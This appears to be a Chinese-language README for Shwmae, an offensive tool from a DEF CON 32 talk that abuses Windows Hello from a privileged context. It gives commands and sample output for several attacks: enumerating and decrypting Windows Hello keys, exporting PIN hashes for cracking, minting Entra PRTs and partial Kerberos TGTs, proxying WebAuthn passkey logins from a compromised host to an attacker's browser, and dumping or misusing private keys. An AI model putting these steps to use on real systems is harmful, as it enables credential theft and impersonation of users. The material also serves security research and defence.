Shwmae (shuh-my) 是一个 Windows Hello 滥用工具,在 DEF CON 32 期间作为“无需断手滥用 Windows Hello”演讲的一部分发布。 该工具的目的是从特权用户上下文中滥用 Windows Hello。
Shwmae Copyright (C) 2024 Shwmae enum (Default Verb) Enumerate Windows Hello protectors, keys and credentials sign Sign data using a Windows Hello protected certificate prt Obtain an Entra PRT and partial TGT usable with Rubeus webauthn Create a webserver to proxy WebAuthn requests from an attacking host dump Dump Windows Hello protected keys when backed by software help Display more information on a specific command. version Display version information.
该工具具有多种操作模式。
当不提供参数时,枚举是默认模式,或者您可以使用enum
命令。 枚举模式将枚举所有可用的 Windows Hello 容器,并递归枚举容器内的所有 Windows Hello 注册密钥和保护程序。 在主机上不存在 TPM 的情况下,将为 PIN 保护器生成一个哈希值,可以使用 hashcat 离线破解。
生物识别保护器将自动解密,但 PIN 和恢复保护器可以分别使用/pin
和/token
参数解密。 只需要从每个容器中解密一个保护程序,即可允许滥用该容器内的 Windows Hello 密钥。
Shwmae [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd GINGEmary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111) Provider : Microsoft Platform Crypto Provider Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW... Recovery Key : Use /token argument to decrypt recovery key ** Protectors ** Type : Pin Pin Type : Numeric Length : 8 Decrypted : Supply /pin argument to attempt decryption Type : Bio Encryption Type: Aes GCM Nonce : cacf46896844d3f96a55fd8c GCM AuthData : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c GCM Tag : f5d6d1c3e35f944038e03013851d6d69 Decrypted : True (Bio Key Correct) ExtPin : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94 DecryptPin : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1 SignPin : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3 Type : Recovery IV : 49b2c5b8416e5563387e10a8a3d9ae68 ** Credentials ** Resource : WinBio Key Resource SID : S-1-5-21-1003644063-402998240-3342588708-1111 Protector Key : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52 ** Keys ** Name : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] Provider : Microsoft Platform Crypto Provider Key Id : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824} Key File : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY Azure Tenant Id : de60a4fa-d583-4eb0-ab66-ce358af8279c Azure User : [email protected] Azure kid : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw= Name : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0 Provider : Microsoft Platform Crypto Provider Key Id : {36E18DBB-52AC-4198-BD34-55B3490A575C} Key File : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY FIDO Relay Party : github.com FIDO Public Key : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR FIDO Cred Id : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co FIDO User Id : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA FIDO User : mary-gruber FIDO Display Name: mary-gruber FIDO Sign Count : 2 Name : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key) Provider : Microsoft Software Key Storage Provider Key Id : {7418B315-A00B-4113-A0EC-5C51718D11C5} Key File : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7 Name : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9 Provider : Microsoft Software Key Storage Provider Key Id : {696644C4-EA34-400C-99D2-8B5E38095AA6} Key File : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7
PRT 操作模式有助于生成初始 PRT 并通过prt
命令利用任何 Entra 注册的 Windows Hello 密钥更新现有 PRT。 如果在租户内启用了云信任,则云 TGT 将被解密,并可用于使用 Rubeus 根据本地 Active Directory 进行用户身份验证。
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111 [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd [=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw= [+] Successfully decrypted NGC key set from protector type Bio Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0 Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
对于 PRT 续订,初始 PRT 请求中需要 PRT 和会话密钥。
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
WebAuthn 操作模式通过webauthn
命令设置一个简单的 Web API,该命令将接受来自另一台主机的 ShwmaeExt Web 浏览器扩展的 WebAuthn 断言请求。
一旦在受感染的主机上设置了 WebAuthn HTTP 侦听器(默认侦听端口 8000),您就可以在攻击浏览器中安装 ShwmaeExt。 在扩展程序中设置侦听器 URL 后,您可以使用受感染主机提供的任何凭据通过密钥身份验证登录。 您可以在ShwmaeExt
文件夹中找到分解的扩展程序。
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exit
dump
命令可用于提取由软件密钥存储提供商支持的 Windows Hello 支持的私钥。 您无法使用此模式提取平台密钥存储提供程序支持的密钥。
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
sign
命令可用于使用特定密钥对任意数据进行签名。 此模式在工具内不存在特定集成的情况下非常有用。
--key-name
参数用于指定要使用的特定 Windows Hello 密钥对, --data
参数用于计算签名。 数据应以 Base64 编码字符串的形式呈现,但在生成签名之前,该字符串首先被解码为二进制。 二进制签名转换为 Base64 并打印到控制台。
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA [+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b [+] Decrypted vault policy: Aes128: 3cb7dbc9f920a6df0aab211b67ef673d Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd [=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGEmary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111) [+] Successfully decrypted NGC key set from protector type Bio [+] Success: MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==